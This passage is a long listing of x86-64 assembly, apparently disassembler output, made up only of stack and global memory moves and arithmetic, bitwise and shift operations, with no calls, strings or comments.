mov dword [rsp + 0x3fdc], eax
lea rax, [rsp + 0x4188]
mov qword [rsp + 0xa6e0], rax
mov eax, dword [rsp + 0x3fac]
mov ecx, dword [rsp + 0x418c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa618]
mov byte [rcx], al
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov word [rsp + 0xed4], ax
mov eax, dword [rsp + 0x416c]
mov ecx, dword [rsp + 0x4174]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa680]
mov dword [rcx], eax
lea rax, [0x14019d790]
mov qword [rsp + 0xa6e8], rax
mov eax, dword [rsp + 0x4148]
mov ecx, dword [rsp + 0x4058]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4000]
sar eax, cl
mov dword [0x14019befc], eax
mov eax, dword [rsp + 0x3c38]
movzx ecx, al
mov eax, dword [rsp + 0x4184]
shl eax, cl
mov dword [rsp + 0x4088], eax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x4190], eax
mov eax, dword [rsp + 0x415c]
mov ecx, dword [0x14019befc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
sub eax, ecx
mov word [rsp + 0xec4], ax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [0x14019900a], al
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x4194], eax
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa698]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x40e4], eax
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xa6f8], rax
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x4194]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov rax, qword [0x14019d7a0]
movzx eax, byte [rax]
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3c38]
mov ecx, dword [rsp + 0x415c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
lea rax, [rsp + 0x4150]
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
and eax, ecx
mov word [0x14019bf04], ax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa640]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xec0], ax
movzx eax, byte [0x14019900a]
movzx ecx, byte [rsp + 0x154]
or eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xa4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4058], eax
lea rax, [rsp + 0x4058]
mov qword [rsp + 0xa708], rax
mov rax, qword [rsp + 0xa6a0]
mov eax, dword [rax]
mov rcx, qword [0x14019d7d8]
mov qword [rsp + 0xa710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa710]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4178], eax
mov rax, qword [rsp + 0xa6a0]
mov ecx, dword [rsp + 0x40e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
mov eax, dword [0x14019d7e0]
mov dword [rsp + 0x4198], eax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov byte [rsp + 0x119], al
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xec4]
add eax, ecx
mov word [0x14019bf00], ax
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov dword [rsp + 0x419c], eax
mov eax, dword [rsp + 0x4188]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
lea rax, [rsp + 0x4198]
mov qword [rsp + 0xa718], rax
mov rax, qword [rsp + 0xa568]
mov rcx, qword [0x14019d7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xeb8]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
lea rax, [rsp + 0x119]
mov qword [rsp + 0xa720], rax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14b], al
movzx eax, word [rsp + 0xeb0]
mov word [rsp + 0xed8], ax
lea rax, [rsp + 0x4190]
mov qword [0x14019d7f0], rax
mov rax, qword [0x14019d7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x416c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa720]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov word [rsp + 0xedc], ax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x4170]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0xa718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa5c8]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x416c], eax
lea rax, [rsp + 0xed0]
mov qword [rsp + 0xa730], rax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
sar eax, cl
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4130]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xa738], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa738]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4058], eax
lea rax, [rsp + 0x4080]
mov qword [rsp + 0xa740], rax
mov rax, qword [rsp + 0xa6b8]
mov rcx, qword [rsp + 0xa6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4184]
mov dword [rsp + 0x41a0], eax
mov eax, dword [rsp + 0x4080]
mov ecx, dword [rsp + 0x4150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4168], eax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
and eax, ecx
mov byte [rsp + 0x14a], al
movzx eax, word [0x14019bf04]
mov word [rsp + 0xee0], ax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x155], al
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov word [0x14019bf08], ax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov dword [rsp + 0x41a4], eax
mov rax, qword [rsp + 0xa4a8]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
lea rax, [rsp + 0x419c]
mov qword [rsp + 0xa748], rax
mov rax, qword [0x14019d7d8]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4178]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov dword [rcx], eax
lea rax, [rsp + 0x151]
mov qword [0x14019d7f8], rax
movzx eax, word [0x14019bf08]
movzx ecx, word [rsp + 0xee4]
add eax, ecx
mov word [rsp + 0xdb8], ax
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov dword [rsp + 0x41a8], eax
movsx eax, word [0x14019bf04]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x14a], al
lea rax, [rsp + 0xec8]
mov qword [rsp + 0xa750], rax
movzx eax, byte [0x14019d794]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x147], al
mov eax, dword [rsp + 0x4058]
mov dword [rsp + 0x41ac], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
and ecx, eax
mov eax, ecx
mov dword [0x14019d7e0], eax
mov rax, qword [rsp + 0xa740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4188]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xa718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x159], al
mov eax, dword [0x14019bee8]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xa758], rax
mov eax, dword [rsp + 0x4150]
mov ecx, dword [rsp + 0x4144]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4188], eax
mov rax, qword [rsp + 0xa670]
mov ecx, dword [rsp + 0x4168]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019befc], eax
movzx eax, byte [rsp + 0x156]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x147], al
movzx eax, word [rsp + 0xb08]
mov word [rsp + 0xee8], ax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [0x14019bf04]
sub eax, ecx
mov rcx, qword [rsp + 0xa578]
mov word [rcx], ax
mov rax, qword [rsp + 0xa558]
movzx eax, byte [rax]
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x4190]
mov rcx, qword [rsp + 0xa368]
mov qword [rsp + 0xa760], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa760]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019d790]
shl eax, cl
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xa768], rax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x14f]
or eax, ecx
mov rcx, qword [rsp + 0xa628]
mov byte [rcx], al
mov rax, qword [0x14019d7e8]
mov eax, dword [rax]
mov dword [0x14019d800], eax
mov eax, dword [rsp + 0x41a0]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa700]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6a8]
mov rcx, qword [rsp + 0xa508]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4018], eax
movzx eax, word [rsp + 0xeb4]
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0xa628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
sub eax, ecx
mov byte [rsp + 0x147], al
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0xa770], rax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov ecx, dword [0x14019d790]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
lea rax, [rsp + 0x3f5c]
mov qword [rsp + 0xa778], rax
lea rax, [rsp + 0x415c]
mov qword [0x14019d808], rax
mov rax, qword [0x14019d7d8]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4180], eax
movsx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xa5f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xebc], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f5c], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x417c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4184], eax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x15c], al
lea rax, [rsp + 0xedc]
mov qword [0x14019d810], rax
mov rax, qword [0x14019d7e8]
mov rcx, qword [rsp + 0xa708]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4130], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x419c]
shl eax, cl
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xa780], rax
movzx eax, word [rsp + 0xedc]
movzx ecx, word [0x14019bef0]
xor eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fc0]
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0xa5b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa6c8]
mov qword [rsp + 0xa788], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa788]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c38], eax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [0x140199008]
and eax, ecx
mov byte [0x14019900b], al
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa790], rax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x14e], al
movzx eax, word [rsp + 0xedc]
movzx ecx, word [0x14019bef0]
sub eax, ecx
mov word [rsp + 0xec4], ax
lea rax, [rsp + 0x4070]
mov qword [rsp + 0xa798], rax
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x4148]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa7a0], rax
mov rax, qword [rsp + 0xa700]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa740]
mov ecx, dword [rsp + 0x4170]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa770]
mov dword [rcx], eax
movzx eax, word [rsp + 0xed0]
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0x119]
mov qword [0x14019d818], rax
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x41a4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa678]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4198]
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0xa700]
mov rcx, qword [rsp + 0xa600]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xa730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
add eax, ecx
mov word [rsp + 0xed0], ax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0xa7a8], rax
mov rax, qword [rsp + 0xa6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee0]
cdq
idiv ecx
mov word [rsp + 0xeb0], ax
lea rax, [0x14019d800]
mov qword [0x14019d820], rax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa698]
mov qword [rsp + 0xa7b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xed4]
mov word [rsp + 0xef4], ax
movzx eax, byte [0x140199009]
movzx ecx, byte [rsp + 0x119]
xor eax, ecx
mov byte [rsp + 0x156], al
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa7b8], rax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
mov eax, dword [rsp + 0x417c]
mov rcx, qword [0x14019d808]
mov qword [rsp + 0xa7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa718]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa598]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [0x14019900a]
sub eax, ecx
mov rcx, qword [rsp + 0xa628]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [0x14019bf08], ax
mov eax, dword [rsp + 0x419c]
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4188]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4184], eax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4198]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
mov ecx, dword [0x14019bef8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
lea rax, [rsp + 0x14b]
mov qword [rsp + 0xa7d0], rax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019bf0c], ax
mov eax, dword [rsp + 0x40f0]
mov ecx, dword [rsp + 0x41a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41ac], eax
mov eax, dword [rsp + 0x418c]
movzx ecx, al
mov eax, dword [0x14019bef4]
shr eax, cl
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov word [rsp + 0xef8], ax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x156], al
lea rax, [0x14019d790]
mov qword [rsp + 0xa7d8], rax
mov eax, dword [rsp + 0x418c]
mov rcx, qword [rsp + 0xa6a8]
mov qword [rsp + 0xa7e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa7e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ffc], eax
lea rax, [rsp + 0x4198]
mov qword [rsp + 0xa7e8], rax
mov eax, dword [rsp + 0x41c0]
mov ecx, dword [0x14019d790]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec4]
and eax, ecx
mov word [rsp + 0xde4], ax
lea rax, [rsp + 0x418c]
mov qword [rsp + 0xa7f0], rax
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa680]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa7f8], rax
movsx eax, byte [0x14019900b]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0xa7d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xec0]
movzx ecx, word [rsp + 0xeb8]
sub eax, ecx
mov word [rsp + 0xdb8], ax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0xa798]
mov rcx, qword [rsp + 0xa4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4018], eax
lea rax, [rsp + 0x4168]
mov qword [0x14019d828], rax
mov eax, dword [rsp + 0x4170]
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [0x14019d800]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4188]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xa800], rax
movzx eax, byte [0x14019900a]
mov rcx, qword [rsp + 0xa780]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
mov eax, dword [rsp + 0x4188]
mov dword [rsp + 0x41cc], eax
mov eax, dword [rsp + 0x419c]
mov ecx, dword [rsp + 0x4128]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
mov rax, qword [0x14019d808]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4000], eax
mov eax, dword [rsp + 0x4188]
mov dword [0x14019d830], eax
movzx eax, word [rsp + 0xef8]
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x159]
sar eax, cl
mov byte [rsp + 0x15f], al
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa808], rax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
xor eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [0x14019d7d0]
mov eax, dword [rax]
mov dword [rsp + 0x41d0], eax
mov eax, dword [rsp + 0x3f98]
movzx ecx, al
mov eax, dword [rsp + 0x4150]
shl eax, cl
mov rcx, qword [rsp + 0xa5b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xed4]
mov rcx, qword [rsp + 0xa640]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa730]
mov word [rcx], ax
movzx eax, byte [0x14019d794]
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0xa6a8]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf10], eax
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0xa7a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cbc], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x4128]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [0x14019d810]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [rsp + 0x147]
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0xa6a0]
mov rcx, qword [rsp + 0xa6e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0x4088]
mov qword [rsp + 0xa810], rax
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bef8], eax
mov eax, dword [rsp + 0x4144]
mov ecx, dword [0x14019bee8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
lea rax, [rsp + 0x67]
mov qword [rsp + 0xa818], rax
movsx eax, word [rsp + 0xed8]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
mov rax, qword [0x14019d7c8]
movzx eax, byte [rax]
mov byte [rsp + 0x162], al
movzx eax, word [rsp + 0xedc]
mov rcx, qword [rsp + 0xa750]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa728]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4188]
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xefc], ax
